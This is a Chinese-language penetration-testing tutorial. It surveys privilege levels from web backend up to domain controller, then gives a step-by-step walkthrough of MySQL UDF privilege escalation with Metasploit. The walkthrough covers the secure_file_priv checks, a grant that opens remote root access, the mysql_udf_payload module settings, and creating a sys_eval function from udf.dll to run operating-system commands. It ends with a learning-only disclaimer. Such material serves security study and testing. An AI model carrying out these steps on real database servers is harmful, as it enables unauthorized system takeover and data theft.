权限提升-数据库提权-MSF-UDF提权
权限提升基础信息
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样
数据库提权
提权条件----数据库帐号密码获取,secure-file-priv没进行目录限制
一、数据库的最高权限用户的密码获取方式:
0、网站存在高权限SQL注入点
1、数据库的存储文件或备份文件
2、网站应用源码中的数据库配置文件
3、采用工具或脚本爆破(需解决外联问题)
二、查看secure-file-priv是否有目录限制,执行:show global variables like "secure%"
1、当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,无法进行提权。
2、当secure_file_priv 的值为 c:/ ,表示限制 mysqld 的导入|导出只能发生在c盘目录下,无法进行提权。
3、当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,可以提权。
案例:mysql数据库提权——使用MSF-UDF方式提权
前提:已获取数据库高权限,使用哥斯拉等工具连接。
udf提权原理
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加
了使用udf提权的可能。
攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,
创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。不同的操作系统,不同的版本,提权时导出udf.dll存放的目录不一样。
Windows 2000操作系统需要导出udf.dll到c:\winnt\目录下。Windows2003操作系统导出udf.dll到c:\windows\目录下。在MySQL 5.1版本及以后的环境下,udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\目录下。
演示开始:
1.获取数据库的账户和密码,开始对数据库进行链接
2.执行:show global variables like "secure%" 查看是否支持提权。
secure_file_priv没有值,支持提权。
3.查看mysql的版本:select version(); 发现是5.7版本,所以需要将dll文件放在lib\plugin目录下才可以生效。如果是5.1以下,需要放到C:\Windows\system32下。
4.查看mysql的安装路径(绝对路径) :select @@basedir
因为mysql=>5.2 ,dll文件需要导入到——>mysql安装目录/lib/plugin/
5.没有目录,如果权限足够可用采用手工创建\lib\plugin\目录,权限不够则利用NTFS流创建。
6.因为我们要使用MSF,所以需要开启外链。
执行:grant all privileges on . to '账户'@'%' identified by '密码' with grant option;
mysql数据库user表中出现如下记录说明成功开启外链。
7.启动msf,使用和配置模板
启动udf模块。
执行:msfconsole
use exploit/multi/mysql/mysql_udf_payload
配置模板
执行:set username 数据库用户名
set password 数据库密码
set rhosts 目标主机地址
导入dll文件到lib\plugin\目录
执行:run
成功生成:
8.使用MSF导出utf.dll文件后,在执行如下命令调用执行
执行:createfunction sys_eval returns string soname "udf.dll"; //创建函数绑定dll
执行:select * from mysql.func; //查看是否新增了sys_eval函数
9.此时就可以使用sys_eval函数执行命令了
执行:select sys_eval('whoami');
番外:还可以使用启动项模块:exploit/windows/mysql/mysql_start_up ,需要等待目标服务器重启利用。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。